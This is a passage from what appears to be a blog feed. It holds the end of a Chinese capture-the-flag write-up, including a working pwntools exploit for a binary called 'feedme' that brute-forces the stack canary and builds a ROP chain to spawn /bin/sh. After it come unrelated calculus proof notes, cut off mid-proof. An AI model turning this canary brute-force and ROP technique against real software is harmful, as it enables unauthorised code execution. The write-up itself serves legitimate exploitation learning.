0xffffd59c: 0x00000000 0x080ea0a0 0x00000000 0x00000000
0xffffd5ac: 0x39e3a000 0x00000000 0x080ea00c 0xffffd5e8
0xffffd5bc: 0x080490dc 0x080ea0a0 0x00000000 0x080ed840
0xffffd5cc: 0x0804f8b4 0x00000000 0x00000000 0x00000000
0xffffd5dc: 0x080481a8 0x080481a8 0x00000000 0xffffd608
0xffffd5ec: 0x080491da 0x080ea0a0 0x00000000 0x00000002
0xffffd5fc: 0x00000000 0x00000000
pwndbg&amp;gt; i f
Stack level 0, frame at 0xffffd5c0:
 eip = 0x8049069; saved eip = 0x80490dc
 called by frame at 0xffffd5f0
 Arglist at 0xffffd5b8, args:
 Locals at 0xffffd5b8, Previous frame&apos;s sp is 0xffffd5c0
 Saved registers:
  ebp at 0xffffd5b8, eip at 0xffffd5bc
pwndbg&amp;gt; distance 0xffffd58c 0xffffd5bc
0xffffd58c-&amp;gt;0xffffd5bc is 0x30 bytes (0xc words)
pwndbg&amp;gt; distance 0xffffd5ac 0xffffd58c
0xffffd5ac-&amp;gt;0xffffd58c is -0x20 bytes (-0x8 words)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入位于 &lt;code&gt;0xffffd58c&lt;/code&gt;、canary 位于 &lt;code&gt;0xffffd5ac&lt;/code&gt;、返回地址位于 &lt;code&gt;0xffffd5bc&lt;/code&gt;。返回地址偏移量为 &lt;code&gt;0x30&lt;/code&gt; 字节，canary 偏移量为 &lt;code&gt;0x20&lt;/code&gt; 字节。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import *

context(
    os=&apos;linux&apos;,
    arch=&apos;i386&apos;,
    log_level=&apos;debug&apos;,
    terminal=&apos;kitty&apos;,
    binary=ELF(&apos;./feedme&apos;)
)

target = process()

recvline      = lambda : target.recvline()
recvuntil     = lambda str : target.recvuntil(str)
send          = lambda str : target.send(str)
sendline      = lambda str : target.sendline(str)
sendlineafter = lambda str1, str2 : target.sendlineafter(str1.encode(), str2.encode())
interactive   = lambda : target.interactive()

padding = b&apos;A&apos; * 0x20

def bruteforce_canary():
    canary = b&apos;\x00&apos;
    recvuntil(&apos;FEED ME!\n&apos;)
    while len(canary) != 0x4:
        for brute in range(0xff):
            input_size = bytes([0x20 + len(canary) + 0x1])
            attempt = bytes([brute])
            send(input_size + padding + canary + attempt)
            data = recvuntil(b&apos;FEED ME!\n&apos;)

            if b&apos;YUM&apos; in data:
                canary += attempt
                break
    return canary

canary = bruteforce_canary()

rop = ROP(context.binary)

MOV_DWORD_PTR_EAX_EDX = p32(0x0807be31)
POP_ECX_EBX = rop.find_gadget([&apos;pop ecx&apos;, &apos;pop ebx&apos;, &apos;ret&apos;])[0]
POP_EDX = rop.find_gadget([&apos;pop edx&apos;, &apos;ret&apos;])[0]
POP_EAX = rop.find_gadget([&apos;pop eax&apos;, &apos;ret&apos;])[0]
INT_0x80 = rop.find_gadget([&apos;int 0x80&apos;])[0]

# /bin
rop.raw(POP_EAX)
rop.raw(0x80e9000)
rop.raw(POP_EDX)
rop.raw(0x6e69622f)
rop.raw(MOV_DWORD_PTR_EAX_EDX)
# /sh
rop.raw(POP_EAX)
rop.raw(0x80e9000 + 0x4)
rop.raw(POP_EDX)
rop.raw(0x68732f)
rop.raw(MOV_DWORD_PTR_EAX_EDX)
# arg 2 and 1
rop.raw(POP_ECX_EBX)
rop.raw(0x0)
rop.raw(0x80e9000)
# arg 3
rop.raw(POP_EDX)
rop.raw(0x0)
# int 0x80
rop.raw(POP_EAX)
rop.raw(0xb)
rop.raw(INT_0x80)

input_size = bytes([len(padding + canary + b&apos;A&apos; * 12 + rop.chain())])

send(input_size + padding + canary + b&apos;A&apos; * 12 + rop.chain())
interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;It&apos;s too bad! we c0uldn&apos;t??! d0 the R0P CHAIN BLIND TOO&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>微积分笔记</title><link>https://cubeyond.net/posts/mathematics/calculus-notes/</link><guid isPermaLink="true">https://cubeyond.net/posts/mathematics/calculus-notes/</guid><description>微积分学习笔记——从 1 到无穷大。主要记录各种公式定理的推导过程。</description><pubDate>Sun, 31 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;极限和连续性&lt;/h1&gt;
&lt;h2&gt;何为极限？&lt;/h2&gt;
&lt;p&gt;假设对于函数 $f$ 有：&lt;/p&gt;
&lt;p&gt;$\displaystyle \lim _{x\to c} f(x)=L$&lt;/p&gt;
&lt;p&gt;即：只要 $x$ 无限接近于 $c$, 则 $f(x)$ 必然无限接近于 $L$。&lt;/p&gt;
&lt;p&gt;用 $\varepsilon -\delta$ 语言来描述就是：&lt;/p&gt;
&lt;p&gt;$$
\displaystyle \forall \varepsilon  &amp;gt;0,\ \exists \delta  &amp;gt;0,\ s.t.\ 0&amp;lt;|x−c|&amp;lt; \delta \Longrightarrow |f(x)-L|&amp;lt; \varepsilon
$$&lt;/p&gt;
&lt;p&gt;说白了就是：无论给定任何一个数字 $\varepsilon (\varepsilon  &amp;gt;0)$，总能找到一个数 $\delta ( \delta  &amp;gt;0)$。使当 $x$ 在 $c$ 的 $\delta$ 范围内时，$f(x)$ 在极限 $L$ 的 $\varepsilon$ 范围内。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;例：已知 $f( x) =\begin{cases}
2x &amp;amp; x\neq 5\
x &amp;amp; x=5
\end{cases}$，证明 $\displaystyle \lim _{x\rightarrow 5} f( x) =10$&lt;/p&gt;
&lt;p&gt;根据定义，给定任意 $\varepsilon (\varepsilon  &amp;gt;0)$，有 $\delta ( \delta  &amp;gt;0)$。因此，我们本质上是要找到一个 $\delta =function\ of\ \varepsilon $ 的函数。&lt;/p&gt;
&lt;p&gt;$\mathnormal{Proof.}$&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
&amp;amp; |x-5| &amp;lt; \delta \Longrightarrow |2x-10|&amp;lt; \varepsilon \
&amp;amp; |2x-10| &amp;lt; 2\delta \
&amp;amp; 2\delta =\varepsilon \Rightarrow \delta =\frac{\varepsilon }{2}\
&amp;amp; |2x-10| &amp;lt; \varepsilon \
&amp;amp; \forall \varepsilon  &amp;gt;0,\ \exists \delta  &amp;gt;0 ,\ s.t.\ |x-5|&amp;lt; \delta \Longrightarrow |2x-10|&amp;lt; \varepsilon \ \quad Q.E.D.
\end{aligned}
$$&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;夹逼定理&lt;/h2&gt;
&lt;p&gt;设 $I$ 为包含某点 $c$ 的区间，$f, g, h$ 为定义在 $I$ 上的函数。若对于所有属于 $I$ 而不等于 $c$ 的 $x$，有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$g( x) \leqslant f( x) \leqslant h( x)$&lt;/li&gt;
&lt;li&gt;$\displaystyle \lim _{x\rightarrow c} g( x) =\lim _{x\rightarrow c} h( x) =L$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;则，$\displaystyle \lim _{x\rightarrow c} f( x) =L$。&lt;/p&gt;
&lt;p&gt;$g(x)$ 和 $h(x)$ 分别被称为 $f(x)$ 的下界和上界。&lt;/p&gt;
&lt;h3&gt;Proof: $\displaystyle \lim _{\theta \rightarrow 0}\frac{\sin \theta }{\theta } =1$&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3gop6n1vs3.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Proof: $\displaystyle \lim _{\theta \rightarrow 0}\frac{1-\cos \theta }{\theta } =0$&lt;/h3&gt;
&lt;p&gt;$\mathnormal{Proof.}$&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\lim _{\theta \rightarrow 0}\frac{1-\cos \theta }{\theta } &amp;amp; =\lim _{\theta \rightarrow 0}\frac{( 1-\cos \theta )( 1+\cos \theta )}{\theta ( 1+\cos \theta )}\
&amp;amp; =\lim _{\theta \rightarrow 0}\frac{\sin^{2} \theta }{\theta ( 1+\cos \theta )}\
&amp;amp; =\lim _{\theta \rightarrow 0}\frac{\sin \theta }{\theta } \cdot \lim _{\theta \rightarrow 0}\frac{\sin \theta }{1+\cos \theta }\
&amp;amp; =1\cdot 0\
&amp;amp; =0
&amp;amp; Q.E.D.
\end{aligned}
$$&lt;/p&gt;
&lt;h2&gt;连续性的定义&lt;/h2&gt;
&lt;p&gt;函数在某一点处连续：$f$ is continuous at $x=c\Longleftrightarrow \displaystyle \lim _{x\rightarrow c} f( x) =f( c)$&lt;/p&gt;
&lt;p&gt;函数在开区间连续：$f$ is continuous over $( a,\ b) \Longleftrightarrow f$ is continuous over every point in the interval&lt;/p&gt;
&lt;p&gt;函数在闭区间连续：$f$ is continuous over $[ a,\ b] \Longleftrightarrow f$ is continuous over $( a,\ b)$ and $\displaystyle \lim _{x\rightarrow a^{+}} f( x) =f( a)$, $\displaystyle \lim _{x\rightarrow b^{-}} f( x) =f( b)$&lt;/p&gt;
&lt;h2&gt;Intermediate Value Theorem&lt;/h2&gt;
&lt;p&gt;Suppose $f$ is a continuous function at every point of the interval $[ a,\ b]$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$f$ will take on every value between $f( a)$ and $f( b)$ over the interval&lt;/li&gt;
&lt;li&gt;For any $L$ between the values $f( a)$ and $f( b)$ , there exists a number $c$ in $[ a,\ b]$ for which $f( c) =L$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;怎么会有这么简单的定理…&lt;/p&gt;
&lt;h1&gt;导数&lt;/h1&gt;
&lt;h2&gt;导数的两种定义形式&lt;/h2&gt;
&lt;p&gt;$\displaystyle f^{\prime }( x) =\lim _{h\rightarrow 0}\frac{f( x+h) -f( x)}{h}$&lt;/p&gt;
&lt;p&gt;$\displaystyle f^{\prime }( c) =\lim _{x\rightarrow c}\frac{f( x) -f( c)}{x-c}$&lt;/p&gt;
&lt;h2&gt;可微性&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;$f$ is differentiability at $x=c\Longrightarrow f$ is continuous at $x=c$&lt;/li&gt;
&lt;li&gt;$f$ is not continuous at $x=c\Longrightarrow f$ is not differentiability at $x=c$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不可微的三种情况：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;not continuous&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;vertical tangent&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&quot;sharp turn&quot;&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Proof: Differentiability implies continuity&lt;/h2&gt;
&lt;p&gt;$\mathnormal{Proof.}$&lt;/p&gt;
&lt;p&gt;Assume: $f$ differentiability at $x=c$&lt;/p&gt;
&lt;p&gt;$
\begin{array}{l}
\because f\ differentiability\ at\ x=c\
\therefore \displaystyle f^{\prime }( c) = \lim _{x\rightarrow c}\frac{f( x) -f( c)}{x-c}
\end{array}
$&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\lim _{x\rightarrow c}[ f( x) -f( c)] &amp;amp; =\lim _{x\rightarrow c}( x-c) \cdot \frac{f( x) -f( c)}{x-c}\
&amp;amp; =\lim _{x\rightarrow c}( x-c) \cdot \lim _{x\rightarrow c}\frac{f( x) -f( c)}{x-c}\
&amp;amp; =0\cdot f^{\prime }( c)\
&amp;amp; =0\
&amp;amp; \
\lim _{x\rightarrow c}[ f( x) -f( c)] &amp;amp; =0\
\lim _{x\rightarrow c} f( x) -\lim _{x\rightarrow c} f( c) &amp;amp; =0\
\lim _{x\rightarrow c} f( x) -f( c) &amp;amp; =0\
\lim _{x\rightarrow c} f( x) &amp;amp; =f( c)
&amp;amp; Q.E.D.
\end{aligned}
$$&lt;/p&gt;
&lt;h2&gt;Justifying the power rule&lt;/h2&gt;
&lt;h3&gt;Proof: $\displaystyle \frac{d}{dx}\left( x^{n}\right) =nx^{n-1}$&lt;/h3&gt;
&lt;p&gt;$\mathnormal{Proof.}$&lt;/p&gt;
&lt;p&gt;$\displaystyle \frac{d}{dx}\left( x^{n}\right) =\lim _{\Delta x\rightarrow 0}\frac{( x+\Delta x)^{n} -x^{n}}{\Delta x}$&lt;/p&gt;
&lt;p&gt;According to Binomial theorem:&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\displaystyle \lim _{\Delta x\rightarrow 0}\frac{( x+\Delta x)^{n} -x^{n}}{\Delta x} &amp;amp; =\displaystyle \lim _{\Delta x\rightarrow 0}\frac{\cancel{x^{n}} +\binom{n}{1} x^{n-1} \Delta x+\binom{n}{2} x^{n-2} \Delta x^{2} +...+\binom{n}{n} x^{0} \Delta x^{n}\cancel{-x^{n}}}{\Delta x}\
&amp;amp; =\displaystyle \lim _{\Delta x\rightarrow 0}\binom{n}{1} x^{n-1} +\cancel{\binom{n}{2} x^{n-2} \Delta x} +...+\cancel{\binom{n}{n} \Delta x^{n-1}}\
&amp;amp; =\displaystyle \lim _{\Delta x\rightarrow 0}\binom{n}{1} x^{n-1}\
&amp;amp; =\displaystyle \lim _{\Delta x\rightarrow 0}\frac{n!}{\cancel{1!}( n-1) !} x^{n-1}\
&amp;amp; =\displaystyle \lim _{\Delta x\rightarrow 0} nx^{n-1}
&amp;amp; Q.E.D.
\end{aligned}
$$&lt;/p&gt;
&lt;h3&gt;Proof: $\displaystyle \frac{d}{dx}\left(\sqrt{x}\right) =\frac{1}{2} x^{-\frac{1}{2}}$&lt;/h3&gt;
&lt;p&gt;$\mathnormal{Proof.}$&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\frac{d}{dx}\left(\sqrt{x}\right) &amp;amp; =\displaystyle \lim _{\Delta x\rightarrow 0}\frac{\sqrt{x+\Delta x} -\sqrt{x}}{\Delta x}\
&amp;amp; =\displaystyle \lim _{\Delta x\rightarrow 0}\frac{\left(\sqrt{x+\Delta x} -\sqrt{x}\right)\left(\sqrt{x+\Delta x} +\sqrt{x}\right)}{\Delta x\left(\sqrt{x+\Delta x} +\sqrt{x}\right)}\
&amp;amp; =\displaystyle \lim _{\Delta x\rightarrow 0}\frac{1}{\sqrt{x+\Delta x} +\sqrt{x}}\
&amp;amp; =\displaystyle \lim _{\Delta x\rightarrow 0}\frac{1}{2\sqrt{x}}\
&amp;amp; =\displaystyle \lim _{\Delta x\rightarrow 0}\frac{1}{2} x^{-\frac{1}{2}}
&amp;amp; Q.E.D.
\end{aligned}
$$&lt;/p&gt;
&lt;h2&gt;Justifying the basic derivative rules&lt;/h2&gt;
&lt;h3&gt;Proof: Constant rule ($\displaystyle \frac{d}{dx} k=0$)&lt;/h3&gt;
&lt;p&gt;$\mathnormal{Proof.}$&lt;/p&gt;
&lt;p&gt;$$
\begin{array}{l}
\because k\ is\ constant\
\therefore y\ does\ not\ change\ as\ x\ changes\
\therefore f( x+h) -f( x) =0\
\therefore \displaystyle \frac{d}{dx} k= \lim _{h\rightarrow 0}\frac{f( x+h) -f( x)}{h} =\lim _{h\rightarrow 0}\frac{0}{h} =0
\end{array}
$$&lt;/p&gt;
&lt;h3&gt;Proof: Constant multiple and sum/difference rules&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Constant multiple rule:&lt;/strong&gt; $\displaystyle \dfrac{d}{dx}[k\cdot f(x)]=k\cdot\dfrac{d}{dx}f(x)$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sum rule:&lt;/strong&gt; $\displaystyle \dfrac{d}{dx}[f(x)+g(x)]=\dfrac{d}{dx}f(x)+\dfrac{d}{dx}g(x)$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Difference rule:&lt;/strong&gt; $\displaystyle \dfrac{d}{dx}[f(x)-g(x)]=\dfrac{d}{dx}f(x)-\dfrac{d}{dx}g(x)$&lt;/p&gt;
&lt;p&gt;$\mathnormal{Proof.}$&lt;/p&gt;
&lt;p&gt;$\displaystyle 1.\ f( x) =kg( x) \Longrightarrow f^{\prime }( x) =kg^{\prime }( x)$&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
f^{\prime }( x) &amp;amp; =\displaystyle \lim _{h\rightarrow 0}\frac{f( x+h) -f( x)}{h}\
&amp;amp; =\displaystyle \lim _{h\rightarrow 0}\frac{kg( x+h) -kg( x)}{h}\
&amp;amp; =\displaystyle \lim _{h\rightarrow 0} k\left(\frac{g( x+h) -g( x)}{h}\right)\
&amp;amp; =k\displaystyle \lim _{h\rightarrow 0}\frac{g( x+h) -g( x)}{h}\
&amp;amp; =kg^{\prime }( x)
&amp;amp; Q.E.D.
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;$\displaystyle 2.\ f( x) =g( x) \pm j( x) \Longrightarrow f^{\prime }( x) =g^{\prime }( x) \pm j^{\prime }( x)$&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
f^{\prime }( x) &amp;amp; =\displaystyle \lim _{h\rightarrow 0}\frac{g( x+h) \pm j( x+h) -( g( x) \pm j( x))}{h}\
&amp;amp; =\displaystyle \lim _{h\rightarrow 0}\left(\frac{g( x+h) -g( x)}{h} \pm \frac{j( x+h) -j( x)}{h}\right)\
&amp;amp; =\displaystyle \lim _{h\rightarrow 0}\frac{g( x+h) -g( x)}{h} \pm \lim _{h\rightarrow 0}\frac{j( x+h) -j( x)}{h}\
&amp;amp; =g^{\prime }( x) \pm j^{\prime }( x)
&amp;amp; Q.E.D.
\end{aligned}
$$&lt;/p&gt;
&lt;h2&gt;Proof: The derivatives of sin(x) and cos(x)&lt;/h2&gt;
&lt;p&gt;Known $\displaystyle \lim _{x\rightarrow 0}\frac{\sin x}{x} =1$ and $\displaystyle \lim _{x\rightarrow 0}\frac{1-\cos x}{x} =0$&lt;/p&gt;
&lt;p&gt;$\mathnormal{Proof.}$&lt;/p&gt;
&lt;p&gt;$\displaystyle 1.\ \frac{d}{dx}[\sin x] =\cos x$&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\frac{d}{dx}[\sin x] &amp;amp; =\displaystyle \lim _{\Delta x\rightarrow 0}\frac{\sin( x+\Delta x) -\sin( x)}{\Delta x}\
&amp;amp; =\displaystyle \lim _{\Delta x\rightarrow 0}\frac{\cos x\sin \Delta x+\sin x\cos \Delta x-\sin x}{\Delta x}\
&amp;amp; =\displaystyle \lim _{\Delta x\rightarrow 0}\left(\frac{\cos x\sin \Delta x}{\Delta x} +\frac{\sin x\cos \Delta x-\sin x}{\Delta x}\right)\
&amp;amp; =\displaystyle \lim _{\Delta x\rightarrow 0}\cos x\left(\frac{\sin \Delta x}{\Delta x}\right) +\displaystyle \lim _{\Delta x\rightarrow 0}\frac{\sin x(\cos \Delta x-1)}{\Delta x}\
&amp;amp; =\cos x\displaystyle \lim _{\Delta x\rightarrow 0}\frac{\sin \Delta x}{\Delta x} -\sin x\displaystyle \lim _{\Delta x\rightarrow 0}\frac{1-\cos \Delta x}{\Delta x}\
&amp;amp; =\cos x\cdot 1-\sin x\cdot 0\
&amp;amp; =\cos x
&amp;amp; Q.E.D.
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;$\displaystyle 2.\ \frac{d}{dx}[\cos x] =-\sin x$&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1apakvbze1.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Proof: The derivative of $e^{x}$ is $e^{x}$&lt;/h2&gt;
&lt;p&gt;Know the limit definition of $\mathbb{e}$ is $e=\displaystyle \lim _{n\rightarrow \infty }\left( 1+\frac{1}{n}\right)^{n} =\displaystyle \lim _{n\rightarrow 0}( 1+n)^{\frac{1}{n}}$&lt;/p&gt;
&lt;p&gt;$\mathnormal{Proof.}$&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\frac{d}{dx}\left( e^{x}\right) &amp;amp; =\displaystyle \lim _{\Delta x\rightarrow 0}\frac{e^{x+\Delta x} -e^{x}}{\Delta x}\
&amp;amp; =e^{x}\displaystyle \lim _{\Delta x\rightarrow 0}\frac{e^{\Delta x} -1}{\Delta x}
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;$\displaystyle Let\ n=e^{\Delta x} -1,\ we\ can\ get\ n+1=e^{\Delta x} ,\ such\ that\ \Delta x=\ln( n+1) \ and\ as\ \Delta x\rightarrow 0=n\rightarrow 0$&lt;/p&gt;
&lt;p&gt;$We\ can\ rewrite\ to:$&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\frac{d}{dx}\left( e^{x}\right) &amp;amp; =e^{x}\displaystyle \lim _{n\rightarrow 0}\frac{n}{\ln( n+1)}\
&amp;amp; =e^{x}\displaystyle \lim _{n\rightarrow 0}\frac{\frac{1}{n} n}{\frac{1}{n}\ln( n+1)}\
&amp;amp; =e^{x}\displaystyle \lim _{n\rightarrow 0}\frac{1}{\ln\left[( 1+n)^{\frac{1}{n}}\right]}\
&amp;amp; =e^{x}\frac{1}{\ln\left[\displaystyle \lim _{n\rightarrow 0}( 1+n)^{\frac{1}{n}}\right]}\
&amp;amp; =e^{x}
&amp;amp; Q.E.D.
\end{aligned}
$$&lt;/p&gt;
&lt;h2&gt;Proof: The derivative of $\ln( x)$ is $\frac{1}{x}$&lt;/h2&gt;
&lt;h3&gt;Method 1 (Directly from the definition of the derivative as a limit)&lt;/h3&gt;
&lt;p&gt;$\mathnormal{Proof.}$&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\frac{d}{dx}(\ln x) &amp;amp; =\displaystyle \lim _{\Delta x\rightarrow 0}\frac{\ln( x+\Delta x) -\ln( x)}{\Delta x}\
&amp;amp; =\displaystyle \lim _{\Delta x\rightarrow 0}\frac{\ln\left(\frac{x+\Delta x}{x}\right)}{\Delta x}\
&amp;amp; =\displaystyle \lim _{\Delta x\rightarrow 0}\frac{\ln\left( 1+\frac{\Delta x}{x}\right)}{\Delta x}\
&amp;amp; =\displaystyle \lim _{\Delta x\rightarrow 0}\frac{1}{\Delta x}\ln\left( 1+\frac{\Delta x}{x}\right)\
&amp;amp; =\displaystyle \lim _{\Delta x\rightarrow 0}\ln\left[\left( 1+\frac{\Delta x}{x}\right)^{\frac{1}{\Delta x}}\right]
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;$\displaystyle Let\ n=\frac{\Delta x}{x} ,\ \Delta x=nx,\ \frac{1}{\Delta x} =\frac{1}{n} \cdot \frac{1}{x} \ and\ as\ \Delta x\rightarrow 0=n\rightarrow 0$&lt;/p&gt;
&lt;p&gt;$We\ can\ rewrite\ to:$&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\displaystyle \lim _{\Delta x\rightarrow 0}\ln\left[\left( 1+\frac{\Delta x}{x}\right)^{\frac{1}{\Delta x}}\right] &amp;amp; =\frac{1}{x}\displaystyle \lim _{n\rightarrow 0}\ln\left[( 1+n)^{\frac{1}{n}}\right]\
&amp;amp; =\frac{1}{x}\ln\left[\displaystyle \lim _{n\rightarrow 0}( 1+n)^{\frac{1}{n}}\right]\
&amp;amp; =\frac{1}{x}
&amp;amp; Q.E.D.
\end{aligned}
$$&lt;/p&gt;
&lt;h3&gt;Method 2 (Using the fact that $\displaystyle \frac{d}{dx}\left( e^{x}\right) =e^{x}$ and applying implicit differentiation)&lt;/h3&gt;
&lt;p&gt;$\mathnormal{Proof.}$&lt;/p&gt;
&lt;p&gt;$\displaystyle Known\ \frac{d}{dx}\left( e^{x}\right) =e^{x}$&lt;/p&gt;
&lt;p&gt;$\displaystyle Let\ y=\ln( x) ,\ we\ can\ get:$&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\frac{d}{dx}\left( e^{y}\right) &amp;amp; =\frac{d}{dx}( x)\
e^{y} \cdot \frac{dy}{dx} &amp;amp; =1\
\frac{dy}{dx} &amp;amp; =\frac{1}{e^{y}}\
&amp;amp; =\frac{1}{e^{\ln x}}\
&amp;amp; =\frac{1}{x}
&amp;amp; Q.E.D.
\end{aligned}
$$&lt;/p&gt;
&lt;h2&gt;Proof: The product rule&lt;/h2&gt;
&lt;p&gt;$\mathnormal{Proof.}$&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\frac{d}{dx}[ f( x) g( x)] &amp;amp; =\displaystyle \lim _{h\rightarrow 0}\frac{f( x+h) g( x+h) -f( x+h) g( x) +f( x+h) g( x) -f( x) g( x)}{h}\
&amp;amp; =\displaystyle \lim _{h\rightarrow 0}\left[ f( x+h)\frac{g( x+h) -g( x)}{h} +g( x)\frac{f( x+h) -f( x)}{h}\right]\
&amp;amp; =\left[\displaystyle \lim _{h\rightarrow 0} f( x+h)\right]\left[\displaystyle \lim _{h\rightarrow 0}\frac{g( x+h) -g( x)}{h}\right] +\left[\displaystyle \lim _{h\rightarrow 0} g( x)\right]\left[\displaystyle \lim _{h\rightarrow 0}\frac{f( x+h) -f( x)}{h}\right]\
&amp;amp; =f( x) g^{\prime }( x) +g( x) f^{\prime }( x)
&amp;amp; Q.E.D.
\end{aligned}
$$&lt;/p&gt;
&lt;h2&gt;Proof: The derivatives of $\tan( x)$、$\cos( x)$、$\sec( x)$ and $\csc( x)$&lt;/h2&gt;
&lt;p&gt;$\mathnormal{Proof.}$&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\frac{d}{dx}(\tan x) &amp;amp; =\frac{d}{dx}\left(\frac{\sin x}{\cos x}\right) &amp;amp; \frac{d}{dx}(\cot x) &amp;amp; =\frac{d}{dx}\left(\frac{\cos x}{\sin x}\right)\
&amp;amp; =\frac{\cos^{2} x+\sin^{2} x}{\cos^{2} x} &amp;amp;  &amp;amp; =\frac{-\left(\sin^{2} x+\cos^{2} x\right)}{\sin^{2} x}\
&amp;amp; =\frac{1}{\cos^{2} x} &amp;amp;  &amp;amp; =-\frac{1}{\sin^{2} x}\
&amp;amp; =\sec^{2} x &amp;amp;  &amp;amp; =-\csc^{2} x\
\frac{d}{dx}(\sec x) &amp;amp; =\frac{d}{dx}\left(\frac{1}{\cos x}\right) &amp;amp; \frac{d}{dx}(\csc x) &amp;amp; =\frac{d}{dx}\left(\frac{1}{\sin x}\right)\
&amp;amp; =\frac{0\cdot \cos x+1\cdot \sin x}{\cos^{2} x} &amp;amp;  &amp;amp; =\frac{0\cdot \sin x-1\cdot \cos x}{\sin^{2} x}\
&amp;amp; =\frac{\sin x}{\cos^{2} x} &amp;amp;  &amp;amp; =-\frac{\cos x}{\sin^{2} x}\
&amp;amp; =\tan x\cdot \sec x &amp;amp;  &amp;amp; =-\cot x\cdot \csc x
&amp;amp; Q.E.D.
\end{aligned}
$$&lt;/p&gt;
&lt;h2&gt;Proof: The derivatives of $a^{x}$ (For any positive base a)&lt;/h2&gt;
&lt;p&gt;$\mathnormal{Proof.}$&lt;/p&gt;
&lt;p&gt;$\displaystyle Known\ \frac{d}{dx}\left( e^{x}\right) =e^{x}$&lt;/p&gt;
&lt;p&gt;$\displaystyle Let\ a=e^{\ln a}$&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\frac{d}{dx}\left( a^{x}\right) &amp;amp; =\frac{d}{dx}\left[\left( e^{\ln a}\right)^{x}\right]\
&amp;amp; =\frac{d}{dx}\left[ e^{(\ln a) x}\right]\
&amp;amp; =e^{(\ln a) x} \cdot \ln a\
&amp;amp; =a^{x} \cdot \ln a
&amp;amp; Q.E.D.
\end{aligned}
$$&lt;/p&gt;
&lt;h2&gt;Proof: The derivatives of $\log_{a} x$ (For any positive base $a\neq 1$)&lt;/h2&gt;
&lt;p&gt;$\mathnormal{Proof.}$&lt;/p&gt;
&lt;p&gt;$\displaystyle Known\ \frac{d}{dx}(\ln x) =\frac{1}{x}$&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\frac{d}{dx}(\log_{a} x) &amp;amp; =\frac{d}{dx}\left(\frac{1}{\ln a} \cdot \ln x\right)\
&amp;amp; =\frac{1}{x\ln a}
&amp;amp; Q.E.D.
\end{aligned}
$$&lt;/p&gt;
&lt;h2&gt;Proof: Chain Rule and Quotient Rule&lt;/h2&gt;
&lt;p&gt;$\mathnormal{Chain\ Rule\ Proof.}$&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
Known:\  &amp;amp; 1.\ If\ a\ function\ is\ differentiable,\ then\ it\ is\ also\ continuous.\
&amp;amp; 2.\ If\ function\ u\ is\ continuous\ at\ x,\ then\ \Delta u\rightarrow 0\ as\ \Delta x\rightarrow 0
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;For why if function $u$ is continuous at $x$, then $\Delta u\rightarrow 0$ as $\Delta x\rightarrow 0$:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9kgh937d5y.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;$\displaystyle The\ chain\ rule\ tell\ us:\ \frac{d}{dx}[ y( u( x))] =\frac{dy}{dx} =\frac{dy}{du} \cdot \frac{du}{dx}$&lt;/p&gt;
&lt;p&gt;Assuming $y$, $u$ differentiable at $x$. We can get:&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\frac{dy}{dx} &amp;amp; =\displaystyle \lim _{\Delta x\rightarrow 0}\frac{\Delta y}{\Delta x}\
